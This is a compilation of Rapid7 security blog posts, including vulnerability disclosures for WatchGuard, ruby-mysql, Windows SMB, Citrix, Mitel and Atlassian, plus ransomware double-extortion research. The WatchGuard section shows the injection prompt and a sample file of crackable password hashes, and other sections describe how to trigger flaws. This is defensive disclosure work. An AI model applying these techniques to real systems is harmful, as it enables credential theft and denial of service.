  • Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
  • Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
  • Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
  • Thu, Aug 4, 2022: This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

Active Exploitation of Atlassian’s Questions for Confluence App CVE-2022-26138

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2022/07/27/active-exploitation-of-atlassians-questions-for-confluence-app-cve-2022-26138/

Active Exploitation of Atlassian’s Questions for Confluence App CVE-2022-26138

Exploitation is underway for one of the trio of critical Atlassian vulnerabilities that were published last week affecting several the company’s on-premises products. Atlassian has been a focus for attackers, as it was less than two months ago that we observed exploitation of CVE-2022-26134 in Confluence Server and Confluence Data Center.

CVE-2022-26138: Hardcoded password in Questions for Confluence app impacting:

  • Confluence Server
  • Confluence Data Center

CVE-2022-26136 & CVE-2022-26137: Multiple Servlet Filter vulnerabilities impacting:

  • Bamboo Server and Data Center
  • Bitbucket Server and Data Center
  • Confluence Server and Data Center
  • Crowd Server and Data Center
  • Crucible
  • Fisheye
  • Jira Server and Data Center
  • Jira Service Management Server and Data Center

CVE-2022-26138: Hardcoded password in Questions for Confluence app

The most critical of these three is CVE-2022-26138, as it was quickly exploited in the wild once the hardcoded password was released on social media. There is a limiting function here, however, as this vulnerability only exists when the Questions for Confluence app is enabled (and does not impact the Confluence Cloud instance). Once the app is enabled on affected versions, it will create a user account with a hardcoded password and add the account to a user group, which allows access to all non-restricted pages in Confluence. This easily allows a remote, unauthenticated attacker to browse an organization’s Confluence instance. Unsurprisingly, it didn’t take long for Rapid7 to observe exploitation once the hardcoded credentials were released, given the high value of Confluence for attackers who often jump on Confluence vulnerabilities to execute ransomware attacks.

Affected versions

  • Questions for Confluence 2.7.x

    • 2.7.34
    • 2.7.35
  • Questions for Confluence

    • 3.0.x
    • 3.0.2

Mitigation guidance

Organizations using on-prem Confluence should follow Atlassian’s guidance on updating their instance or disabling/deleting the account. Rapid7 recommends organizations impacted by this take steps immediately to mitigate the vulnerability. Atlassian’s advisory also includes information on how to look for evidence of exploitation. An FAQ has also been provided.

Please note: Atlassian’s Questions For Confluence Security Advisory 2022-07-20 has a very important call-out that “uninstalling the Questions for Confluence app does not remediate this vulnerability.”

CVE-2022-26136 & CVE-2022-26137: Multiple Servlet Filter vulnerabilities

Two other vulnerabilities were announced at the same time, CVE-2022-26136 and CVE-2022-26137, which are also rated critical by Atlassian. They both are issues with Servlet Filters in Java and can be exploited by remote, unauthenticated attackers. Cloud versions of Atlassian have already been fixed by the company.

The list of affected versions is long and can be found on Atlassian’s Security Advisory.

While the impact of these vulnerabilities will vary by organization, as mentioned above, attackers place a high value on many Atlassian products. Therefore, Rapid7 recommends that organizations update impacted product versions as there is no mitigation workaround available.

Rapid7 customers

InsightVM and Nexpose: Our engineering team is investigating the feasibility of a vulnerability check to help InsightVM and Nexpose customers assess exposure to CVE-2022-26138.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

To Maze and Beyond: How the Ransomware Double Extortion Space Has Evolved

Post Syndicated from Tom Caiazza original https://blog.rapid7.com/2022/07/27/to-maze-and-beyond-how-the-ransomware-double-extortion-space-has-evolved/

To Maze and Beyond: How the Ransomware Double Extortion Space Has Evolved

We’re here with the final installment in our Pain Points: Ransomware Data Disclosure Trends report blog series, and today we’re looking at a unique aspect of the report that clarifies not just what ransomware actors choose to disclose, but who discloses what, and how the ransomware landscape has changed over the last two years.

Firstly, we should tell you that our research centered around the concept of double extortion. Unlike traditional ransomware attacks, where bad actors take over a victim’s network and hold the data hostage for ransom, double extortion takes it a step further and extorts the victim for more money with the threat (and, in some cases, execution) of the release of sensitive data. So not only does a victim experience a ransomware attack, they also experience a data breach, and the additional risk of that data becoming publicly available if they do not pay.

According to our research, there have been a handful of major players in the double extortion field starting in April 2020, when our data begins, and February 2022. Double extortion itself was in many ways pioneered by the Maze ransomware group, so it should not surprise anyone that we will focus on them first.

The rise and fall of Maze and the splintering of ransomware double extortion

Maze’s influence on the current state of ransomware should not be understated. Prior to the group’s pioneering of double extortion, many ransomware actors intended to sell the data they encrypted to other criminal entities. Maze, however, popularized another revenue stream for these bad actors, leaning on the victims themselves for more money. Using coercive pressure, Maze did an end run around one of the most important safeguards organizations can take against ransomware: having safely secured and regularly updated backups of their important data.

Throughout most of 2020 Maze was the leader of the double extortion tactic among ransomware groups, accounting for 30% of the 94 reported cases of double extortion between April and December of 2020. This is even more remarkable given the fact that Maze itself was shut down in November of 2020.

Other top ransomware groups also accounted for large percentages of data disclosures. For instance, in that same year, REvil/Sodinokibi accounted for 19%, Conti accounted for 14%, and NetWalker 12%. To give some indication of just how big Maze’s influence was and offer explanation for what happened after they were shut down, Maze and REvil/Sodinokibi accounted for nearly half of all double extortion attacks that year.

However, once Maze was out of the way, double extortion still continued, just with far more players taking smaller pieces of the pie. Conti and REvil/Sodinokibi were still major players in 2021, but their combined market share barely ticked up, making up just 35% of the market even without Maze dominating the space. Conti accounted for 19%, and REvil/Sodinokibi dropped to 16%.

But other smaller players saw increases in 2021. CL0P’s market share rose to 9%, making it the third most active group. Darkside and RansomEXX both went from 2% in 2020 to 6% in 2021. There were 16 other groups who came onto the scene, but none of them took more than 5% market share. Essentially, with Maze out of the way, the ransomware market splintered with even the big groups from the year before being unable to step in and fill Maze’s shoes.

What they steal depends on who they are

Even ransomware groups have their own preferred types of data to steal, release, and hold hostage. REvil/Sodinokibi focused heavily on releasing customer and patient data (present in 55% of their disclosures), finance and accounting data (present in 55% of their disclosures), employee PII and HR data (present in 52% of their disclosures), and sales and marketing data (present in 48% of their disclosures).

CL0P on the other hand was far more focused on Employee PII & HR data with that type of information present in 70% of their disclosures, more than double any other type of data. Conti overwhelmingly focused on Finance and Accounting data (present in 81% of their disclosures) whereas Customer & Patient Data was just 42% and Employee PII & HR data at just 27%.

Ultimately, these organizations have their own unique interests in the type of data they choose to steal and release during the double extortion layer of their ransomware attacks. They can act as calling cards for the different groups that help illuminate the inner workings of the ransomware ecosystem.

Thank you for joining us on this unprecedented dive into the world of double extortion as told through the data disclosures themselves. To dive even deeper into the data, download the full report.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Exploitation of Mitel MiVoice Connect SA CVE-2022-29499

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2022/07/07/exploitation-of-mitel-mivoice-connect-sa-cve-2022-29499/

Exploitation of Mitel MiVoice Connect SA CVE-2022-29499

In April 2022, telecommunications company Mitel published a security advisory on CVE-2022-29499, a data validation vulnerability in the Service Appliance component of MiVoice Connect, a business communications product. The vulnerability, which was unpatched at time of publication, arose from insufficient data validation for a diagnostic script and potentially allowed an unauthenticated remote attacker to send specially crafted requests to inject commands and achieve remote code execution. CVE-2022-29499 has a CVSSv3 score of 9.8.

On June 23, 2022, security firm Crowdstrike published an analysis on a ransomware intrusion attempt that had targeted CVE-2022-29499 — which at the time of detection was an undisclosed zero-day vulnerability — as an initial access vector. Over the past two weeks, Rapid7 Managed Detection and Response (MDR) has also observed a small number of intrusions that have leveraged CVE-2022-29499 as an initial access vector.

There is currently no indication that a large number of these appliances are exposed to the public internet, and we have no evidence that this vulnerability is being targeted in wider-scale ransomware campaigns. We are conscious of the fact, however, that the proliferation of ransomware in general has continued to shape risk models for many organizations, and that network perimeter devices are tempting targets for a variety of attackers.

Affected products

CVE-2022-29499 affects MiVoice Connect deployments (including earlier versions 14.2) that include the MiVoice Connect Service Appliances, SA 100, SA 400 and/or Virtual SA. Vulnerable firmware versions include R19.2 SP3 (22.20.2300.0) and earlier, and R14.x and earlier. See Mitel product security advisory 22-0002 and their security bulletin for additional information.

Mitigation guidance

Mitel MiVoice Connect customers who use vulnerable versions of the Service Appliance in their deployments should update to a fixed version of the appliance immediately. Mitel released patches for CVE-2022-29499 in early June 2022; organizations that have not updated the firmware on their appliances since before that timeframe should apply fixes as soon as possible.

Rapid7 customers

We have not been able to determine whether a vulnerability check is feasible at this time. We are investigating alternative options to help InsightVM and Nexpose customers assess exposure, including the potential to generically fingerprint MiVoice Connect in customer environments.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

For Finserv Ransomware Attacks, Obtaining Customer Data Is the Focus

Post Syndicated from Tom Caiazza original https://blog.rapid7.com/2022/07/07/for-finserv-ransomware-attacks-obtaining-customer-data-is-the-focus/

For Finserv Ransomware Attacks, Obtaining Customer Data Is the Focus

Welcome back to the third installment of Rapid7’s Pain Points: Ransomware Data Disclosure Trends blog series, where we’re distilling the key highlights of our ransomware data disclosure research paper one industry at a time. This week, we’ll be focusing on the financial services industry, one of the most most highly regulated — and frequently attacked — industries we looked at.

Rapid7’s threat intelligence platform (TIP) scans the clear, deep, and dark web for data on threats, and operationalizes that data automatically with our Threat Command product. We used that data to conduct unique research into the types of data threat actors disclose about their victims. The data points in this research come from the threat actors themselves, making it a rare glimpse into their actions, motivations, and preferences.

Last week, we discussed how the healthcare and pharmaceutical industries are particularly impacted by double extortion in ransomware. We found that threat actors target and release specific types of data to coerce victims into paying the ransom. In this case, it was internal financial information (71%), which was somewhat surprising, considering financial information is not the focus of these two industries. Less surprising, but certainly not less impactful, were the disclosure of customer or patient information (58%) and the unusually strong emphasis on intellectual property in the pharmaceuticals sector of this vertical (43%).

Customer data is the prime target for finserv ransomware

But when we looked at financial services, something interesting did stand out: Customer data was found in the overwhelming majority of data disclosures (82%), not necessarily the company’s internal financial information. It seems threat actors were more interested in leveraging the public’s implied trust in financial services companies to keep their personal financial information private than they were in exposing the company’s own financial information.

Since much of the damage done by ransomware attacks — or really any cybersecurity incident — lies in the erosion of trust in that institution, it appears threat actors are seeking to hasten that erosion with their initial data disclosures. The financial services industry is one of the most highly regulated industries in the market entirely because it holds the financial health of millions of people in their hands. Breaches at these institutions tend to have outsized impacts.

Employee info is also at risk

The next most commonly disclosed form of data in the financial services industry was personally identifiable information (PII) and HR data. This is personal data of those who work in the financial industry and can include identifying information like Social Security numbers and the like. Some 59% of disclosures from this sector included this kind of information.

This appears to indicate that threat actors want to undermine the company’s ability to keep their own employees’ data safe, and that can be corroborated by another data point: In some 29% of cases, data disclosure pointed to reconnaissance for future IT attacks as the motive. Threat actors want financial services companies and their employees to know that they are and will always be a major target. Other criminals can use information from these disclosures, such as credentials and network maps, to facilitate future attacks.

As with the healthcare and pharmaceutical sectors, our data showed some interesting and unique motivations from threat actors, as well as confirmed some suspicions we already had about why they choose the data they choose to disclose. Next time, we’ll be taking a look at some of the threat actors themselves and the ways they’ve impacted the overall ransomware “market” over the last two years.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

For Ransomware Double-Extorters, It’s All About the Benjamins — and Data From Healthcare and Pharma

Post Syndicated from Tom Caiazza original https://blog.rapid7.com/2022/06/28/for-ransomware-double-extorters-its-all-about-the-benjamins-and-data-from-healthcare-and-pharma/

For Ransomware Double-Extorters, It's All About the Benjamins — and Data From Healthcare and Pharma

Welcome to the second installment in our series looking at the latest ransomware research from Rapid7. Two weeks ago, we launched “Pain Points: Ransomware Data Disclosure Trends”, our first-of-its-kind look into the practice of double extortion, what kinds of data get disclosed, and how the ransomware “market” has shifted in the two years since double extortion became a particularly nasty evolution to the practice.

Today, we’re going to talk a little more about the healthcare and pharmaceutical industry data and analysis from the report, highlighting how these two industries differ from some of the other hardest-hit industries and how they relate to each other (or don’t in some cases).

But first, let’s recap what “Pain Points” is actually analyzing. Rapid7’s threat intelligence platform (TIP) scans the clear, deep, and dark web for data on threats and operationalizes that data automatically with our Threat Command product. This means we have at our disposal large amounts of data pertaining to ransomware double extortion that we were able to analyze to determine some interesting trends like never before. Check out the full paper for more detail, and view some well redacted real-world examples of data breaches while you’re at it.

For healthcare and pharma, the risks are heightened

When it comes to the healthcare and pharmaceutical industries, there are some notable similarities that set them apart from other verticals. For instance, internal finance and accounting files showed up most often in initial ransomware data disclosures for healthcare and pharma than for any other industry (71%), including financial services (where you would think financial information would be the most common).

After that, customer and patient data showed up more than 58% of the time — still very high, indicating that ransomware attackers value these data from these industries in particular. This is likely due to the relative amount of damage (legal and regulatory) these kinds of disclosures could have on such a highly regulated field (particularly healthcare).

For Ransomware Double-Extorters, It's All About the Benjamins — and Data From Healthcare and Pharma

All eyes on IP and patient data

Where the healthcare and pharmaceutical differed were in the prevalence of intellectual property (IP) disclosures. The healthcare industry focuses mostly on patients, so it makes sense that one of their biggest data disclosure areas would be personal information. But the pharma industry focuses much more on research and development than it does on the personal information of people. In pharma-related disclosures, IP made up 43% of all disclosures. Again, the predilection on the part of ransomware attackers to “hit ’em where it hurts the most” is on full display here.

Finally, different ransomware groups favor different types of data disclosures, as our data indicated. When it comes to the data most often disclosed from healthcare and pharma victims, REvil and Cl0p were the only who did it (10% and 20% respectively). For customer and patient data, REvil took the top spot with 55% of disclosures, with Darkside behind them at 50%. Conti and Cl0p followed with 42% and 40%, respectively.

So there you have it: When it comes to the healthcare and pharmaceutical industries, financial data, customer data, and intellectual property are the most frequently used data to impose double extortion on ransomware victims.

Ready to dive further into the data? Check out the full report.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-3779: Ruby-MySQL Gem Client File Read (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/06/28/cve-2021-3779-ruby-mysql-gem-client-file-read-fixed/

CVE-2021-3779: Ruby-MySQL Gem Client File Read (FIXED)

The ruby-mysql Ruby gem prior to version 2.10.0 maintained by Tomita Masahiro is vulnerable to an instance of CWE-610: Externally Controlled Reference to a Resource in Another Sphere, wherein a malicious MySQL server can request local file content from a client without explicit authorization from the user. The initial CVSSv3 estimate for this issue is 6.5. Note that this issue does not affect the much more popular mysql2 gem. This issue was fixed in ruby-mysql 2.10.0 on October 23, 2021, and users of ruby-mysql are urged to update.

Product description

The ruby-mysql Ruby gem is an implementation of a MySQL client. While it is far less popular than the mysql2 gem, it serves a particular niche audience of users that desire a pure Ruby implementation of MySQL client functionality without linking to an external library (as mysql2 does).

Credit

This issue was reported to Rapid7 by Hans-Martin Münch of MOGWAI LABS GmbH, initially as a Metasploit issue, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the upstream maintainer of this library, as well as JPCERT/CC and CERT/CC.

Exploitation

A malicious actor can read arbitrary files from a client that uses ruby-mysql to communicate to a rogue MySQL server and issue database queries. In these cases, the server has the option to create a database reply using the LOAD DATA LOCAL statement, which instructs the client to provide additional data from a local file readable by the client (and not a “local” file on the server). The easiest way to demonstrate this issue is to run an instance of Rogue-MySql-Server by Gifts and perform any database query using the vulnerable version of the mysql gem.

Note that this behavior is a defined and expected option for servers and is described in the documentation, quoted below:

Because LOAD DATA LOCAL is an SQL statement, parsing occurs on the server side, and transfer of the file from the client host to the server host is initiated by the MySQL server, which tells the client the file named in the statement. In theory, a patched server could tell the client program to transfer a file of the server’s choosing rather than the file named in the statement. Such a server could access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.) [emphasis added]

So, the vulnerability is not so much a MySQL server or protocol issue, but a vulnerability in a client that does not at least provide an option to disable LOAD DATA LOCAL queries; this is the situation with version 2.9.14 and earlier versions of ruby-mysql.

There is also prior work on this type of issue, and interested readers should refer to Knownsec 404 Team‘s article describing the issue for a thorough understanding of the dangers of LOAD DATA LOCAL and untrusted MySQL servers.

Impact

As stated, this issue only affects Ruby-based MySQL clients that connect to malicious MySQL servers. The vast majority of clients already know who they’re connecting to, and while an attacker could poison DNS records or otherwise intercede in network traffic to capture unwitting clients, such network shenanigans will be foiled by routine security controls like SSL certificates. The true risk is posed only to those people who connect to random and unknown MySQL servers in unfamiliar environments.

In other words, penetration testers and other opportunistic MySQL attackers are most at risk from this kind of vulnerability. CVE-2021-3779 fits squarely in the category of “hacking the hackers,” where an aggressive honeypot is designed to lie in wait for wandering MySQL scanners and attackers and steal data local to those connecting clients.

This is the reason why Hans-Martin Münch of MOGWAI LABS GmbH first brought this to Rapid7’s attention as an issue in Metasploit. While Metasploit users are indeed the most at risk to falling victim to an exploit for this vulnerability, the underlying issue was quickly identified as one in the shared open-source library code that Metasploit depends on for managing MySQL connections to remote servers. (One such example is the MySQL hashdump auxiliary module.)

Remediation

Users who implement ruby-mysql should update their packaged gem with the latest version of ruby-mysql, as it has been fixed in version 2.10.0. The current version (as of this writing) is 3.0.0 and was released in November of 2021.

Users unable to update can patch around the issue by ensuring that CLIENT_LOCAL_FILES is disallowed by the client, similarly to how Metasploit Framework initially remediated this issue while waiting on a fix from the upstream maintainer.

Disclosure timeline

The astute reader will note a significant gap of several months between the fix release and this disclosure. This was a failure on my, Tod Beardsley’s, part, since I was handling this issue.

For the record, there was no intention to bury this vulnerability — after all, we communicated it to the Tomita (the maintainer), RubyGems (who pointed us in the direction of Rubysec, thanks André), CERT/CC, and JPCERT/CC, so hopefully the intention to disclose in a timely manner was and is obvious.

But a confluence of family tragedies and home-office technical disasters conspired with the usual complications of a multi-stakeholder, multi-continent effort to coordinate disclosure in open-source library code.

I am also acutely aware of the irony of this delay in light of my recent post on silent patches, and I offer apologies for that delay. I am committed to being better with backups, both of the data and human varieties.

Note that all dates are local to the United States (some dates may differ in Japan and Germany depending on the time of day).

  • August, 2021: Issue discovered by Hans-Martin Münch of MOGWAI LABS GmbH.
  • Thu, Sep 2, 2021: Issue reported to Rapid7’s security contact as a Metasploit issue, #9286.
  • Tue, Sep 7, 2021: Rapid7 validated the issue, reserved CVE-2021-3779, and contacted the vulnerable gem maintainer, Tomita Masahiro.
  • Tue, Sep 8, 2021: Metasploit Framework temporary remediation committed.
  • Tue, Sep 8, 2021: Notified CERT/CC and RubyGems for disclosure coordination, as the gem appeared to be abandoned by the maintainer given no updates in several years.
  • Tue, Sep 9, 2021: Notified JPCERT/CC through VINCE on CERT/CC’s advice, as VU#541053.
  • Thu, Sep 10, 2021: JPCERT/CC acknowledged the issue and attempted to contact the gem maintainer.
  • Mon, Oct 18, 2021: Maintainer responded to JPCERT/CC, acknowledging the issue.
  • Fri, Oct 22, 2021: Fixed version 2.10.0 released, Rapid7 notified Hans-Martin of the fix.
  • Wed, Feb 16, 2022: CERT/CC asks for an update on the issue, Rapid7 communicates the fix to CERT/CC and JPCERT/CC.
  • Tue, Jun 6, 2022: CERT/CC asks for an update, Rapid7 commits to sharing disclosure documentation.
  • Tue, Jun 14, 2022: Rapid7 shares disclosure details with CERT/CC and Hans-Martin, and asks JPCERT/CC to communicate this document to Tomita.
  • Tue, June 28, 2022: This public disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/06/23/cve-2022-31749-watchguard-authenticated-arbitrary-file-read-write-fixed/

CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)

A remote and low-privileged WatchGuard Firebox or XTM user can read arbitrary system files when using the SSH interface due to an argument injection vulnerability affecting the diagnose command. Additionally, a remote and highly privileged user can write arbitrary system files when using the SSH interface due to an argument injection affecting the import pac command. Rapid7 reported these issues to WatchGuard, and the vulnerabilities were assigned CVE-2022-31749. On June 23, Watchguard published an advisory and released patches in Fireware OS 12.8.1, 12.5.10, and 12.1.4.

Background

WatchGuard Firebox and XTM appliances are firewall and VPN solutions ranging in form factor from tabletop, rack mounted, virtualized, and “rugged” ICS designs. The appliances share a common underlying operating system named Fireware OS.

At the time of writing, there are more than 25,000 WatchGuard appliances with their HTTP interface discoverable on Shodan. There are more than 9,000 WatchGuard appliances exposing their SSH interface.

In February 2022, GreyNoise and CISA published details of WatchGuard appliances vulnerable to CVE-2022-26318 being exploited in the wild. Rapid7 discovered CVE-2022-31749 while analyzing the WatchGuard XTM appliance for the writeup of CVE-2022-26318 on AttackerKB.

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vulnerability details

CVE-2022-31749 is an argument injection into the ftpput and ftpget commands. The arguments are injected when the SSH CLI prompts the attacker for a username and password when using the diagnose or import pac commands. For example:

WG>diagnose to ftp://test/test
Name: username
Password: 

The “Name” and “Password” values are not sanitized before they are combined into the “ftpput” and “ftpget” commands and executed via librmisvc.so. Execution occurs using execle, so command injection isn’t possible, but argument injection is. Using this injection, an attacker can upload and download arbitrary files.

File writing turns out to be less useful than an attacker would hope. The problem, from an attacker point of view, is that WatchGuard has locked down much of the file system, and the user can only modify a few directories: /tmp/, /pending/, and /var/run. At the time of writing, we don’t see a way to escalate the file write into code execution, though we wouldn’t rule it out as a possibility.

The low-privileged user file read is interesting because WatchGuard has a built-in low-privileged user named status. This user is intended to “read-only” access to the system. In fact, historically speaking, the default password for this user was “readonly”. Using CVE-2022-31749 this low-privileged user can exfiltrate the configd-hash.xml file, which contains user password hashes when Firebox-DB is in use. Example:

<?xml version="1.0"?>
<users>
  <version>3</version>
  <user name="admin">
    <enabled>1</enabled>
    <hash>628427e87df42adc7e75d2dd5c14b170</hash>
    <domain>Firebox-DB</domain>
    <role>Device Administrator</role>
  </user>
  <user name="status">
    <enabled>1</enabled>
    <hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
    <domain>Firebox-DB</domain>
    <role>Device Monitor</role>
  </user>
  <user name="wg-support">
    <enabled>0</enabled>
    <hash>dddbcb37e837fea2d4c321ca8105ec48</hash>
    <domain>Firebox-DB</domain>
    <role>Device Monitor</role>
  </user>
</users>

The hashes are just unsalted MD4 hashes. @funoverip wrote about cracking these weak hashes using Hashcat all the way back in 2013.

Exploitation

Rapid7 has published a proof of concept that exfiltrates the configd-hash.xml file via the diagnose command. The following video demonstrates its use against WatchGuard XTMv 12.1.3 Update 8.



CVE-2022-31749: WatchGuard Authenticated Arbitrary File Read/Write (Fixed)

Remediation

Apply the WatchGuard Fireware updates. If possible, remove internet access to the appliance’s SSH interface. Out of an abundance of caution, changing passwords after updating is a good idea.

Vendor statement

WatchGuard thanks Rapid7 for their quick vulnerability report and willingness to work through a responsible disclosure process to protect our customers. We always appreciate working with external researchers to identify and resolve vulnerabilities in our products and we take all reports seriously. We have issued a resolution for this vulnerability, as well as several internally discovered issues, and advise our customers to upgrade their Firebox and XTM products as quickly as possible. Additionally, we recommend all administrators follow our published best practices for secure remote management access to their Firebox and XTM devices.

Disclosure timeline

March, 2022: Discovered by Jake Baines of Rapid7
Mar 29, 2022: Reported to Watchguard via support phone, issue assigned case number 01676704.
Mar 29, 2022: Watchguard acknowledged follow-up email.
April 20, 2022: Rapid7 followed up, asking for progress.
April 21, 2022: WatchGuard acknowledged again they were researching the issue.
May 26, 2022: Rapid7 checked in on status of the issue.
May 26, 2022: WatchGuard indicates patches should be released in June, and asks about CVE assignment.
May 26, 2022: Rapid7 assigns CVE-2022-31749
June 23, 2022: This disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

CVE-2022-27511: Citrix ADM Remote Device Takeover

Post Syndicated from Erick Galinkin original https://blog.rapid7.com/2022/06/16/cve-2022-27511-citrix-adm-remote-device-takeover/

CVE-2022-27511: Citrix ADM Remote Device Takeover

On Monday, June 14, 2022, Citrix published an advisory on CVE-2022-27511, a critical improper access control vulnerability affecting their Application Delivery Management (ADM) product.

A remote, unauthenticated attacker can leverage CVE-2022-27511 to reset administrator credentials to the default value at the next reboot. This allows the attacker to use SSH and the default administrator credentials to access the affected management console. The vulnerability has been patched in Citrix ADM 13.1-21.53 and ADM 13.0-85.19 and should be applied as soon as possible. Versions of Citrix ADM before 13.0 and 13.1 are end of life, so Citrix will not make patches available for these versions. Users still on version 12.x are encouraged to upgrade to a supported version.

At the time of this writing, no exploitation has been observed, and no exploits have been made publicly available. However, given the nature of the vulnerability and the footprint of Citrix ADM, we anticipate that exploitation will happen as soon as an exploit is made available.

Mitigation guidance

Citrix ADM customers should upgrade their versions of both ADM server and agents as soon as possible. Citrix notes in their advisory that they strongly recommend that network traffic to the Citrix ADM’s IP address be segmented, either physically or logically, from standard network traffic.

Rapid7 customers

We are investigating the feasibility of a vulnerability check for InsightVM and Nexpose customers.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)

Post Syndicated from Spencer McIntyre original https://blog.rapid7.com/2022/06/14/cve-2022-32230-windows-smb-denial-of-service-vulnerability-fixed/

CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)

A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. We believe this vulnerability would be scored as CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H or 7.5. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.

Credit

This issue was fixed by Microsoft without disclosure in April 2022, but because it was originally classed as a mere stability bug fix, it did not go through the usual security issue process. In May, Spencer McIntyre of Rapid7 discovered this issue while researching the fix for CVE-2022-24500 and determined the security implications of CVE-2022-32230. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. The following patch diff shows the function in question for Windows 10 21H2 (unpatched version 10.0.19041.1566 on the left).

CVE-2022-32230: Windows SMB Denial-of-Service Vulnerability (FIXED)

This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.

For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is "2.0.2", "2.1" or "3.0.2", the server MUST fail the request with STATUS_NOT_SUPPORTED.

To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.

Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.

A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.

Proof of concept

A proof-of-concept Metasploit module is available on GitHub. It requires Metasploit version 6.2 or later.

Impact

The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition. Given the current state of the art of exploitation, it is assumed that a null pointer dereference in the Windows kernel is not remotely exploitable for the purpose of arbitrary code execution without combining it with another, unrelated vulnerability.

In the default configuration, Windows will automatically restart after a BSOD.

Remediation

It is recommended that system administrators apply the official patches provided by Microsoft in their April 2022 update. If that is not possible, restricting access and disabling SMB version 3 can help remediate this flaw.

Disclosure timeline

April 12th, 2022 – Microsoft patches CVE-2022-32230
April 29th, 2022 – Rapid7 finds and confirms the vulnerability while investigating CVE-2022-24500
May 4th, 2022 – Rapid7 contacts MSRC to clarify confusion regarding CVE-2022-32230
May 18th, 2022 – Microsoft responds to Rapid7, confirming that the vulnerability now identified as CVE-2022-32230 is different from the disclosed vulnerability CVE-2022-24500 with which it was patched
June 1, 2022 — Rapid7 reserves CVE-2022-32230 after discussing with Microsoft
June 14th, 2022 – Rapid7 releases details in this disclosure, and Microsoft publishes its advisory

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

The Hidden Harm of Silent Patches

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2022/06/06/the-hidden-harm-of-silent-patches/

The Hidden Harm of Silent Patches

Hey all. I’m about to head off to RSAC 2022, but I wanted to jot down some thoughts I’ve had lately on a particularly squirrelly issue that comes up occasionally in coordinated vulnerability disclosure (CVD) — the issue of silent patches, and how they tend to help focused attackers and harm IT protectors.

In the bad old days, most major software vendors were rather notorious for sweeping vulnerability reports under the rug. They made it difficult for legitimate researchers to report vulnerabilities, often by accident, occasionally on purpose. Researchers would report bugs, and those reports would fester in unobserved space, then suddenly the proof-of-concept exploit wouldn’t work any more. This was (and is) the standard silent patching model. No credit, no explanation, no CVE ID, nothing.

The justification for this approach seems pretty sensible, though. Why would a vendor go out of their way to explain what a security fix does? After all, if you know how the patch works, then you have a pretty good guess at the root cause of the vulnerability and, therefore, how the exploit works. So, by publicizing these patch details, you’re effectively leading attackers to the goods, based on your own documentation. Not cool, right?

So, the natural conclusion is that by limiting the technical details of a given vulnerability to merely the patch contents, and by withholding those details explained in plan languages and proof-of-concept exploit code and screenshots and videos and all the rest, you are limiting the general knowledge pool of people who actually understand the vulnerability and how to exploit it.

Unpacking the silent patch

This sounds like a great plan, but there’s a catch. When a software company releases a patch for software, in nearly all cases, they’re not using exotic packers, they’re not employing anti-forensics, and even if the patch data is encrypted and obfuscated, at some point it’s got to modify the code on the running software — which means that it’s all available to anyone who has a running instance of the patched software and knows how to use a debugger and a disassembler. And who uses debuggers to inspect the effects of patches? Exploit developers, pretty much exclusively.

Knowing this, let’s modify the expectations of the silent patch strategy: When you silently patch, you are intending to limit knowledge of the patched vulnerability to skilled exploit devs.

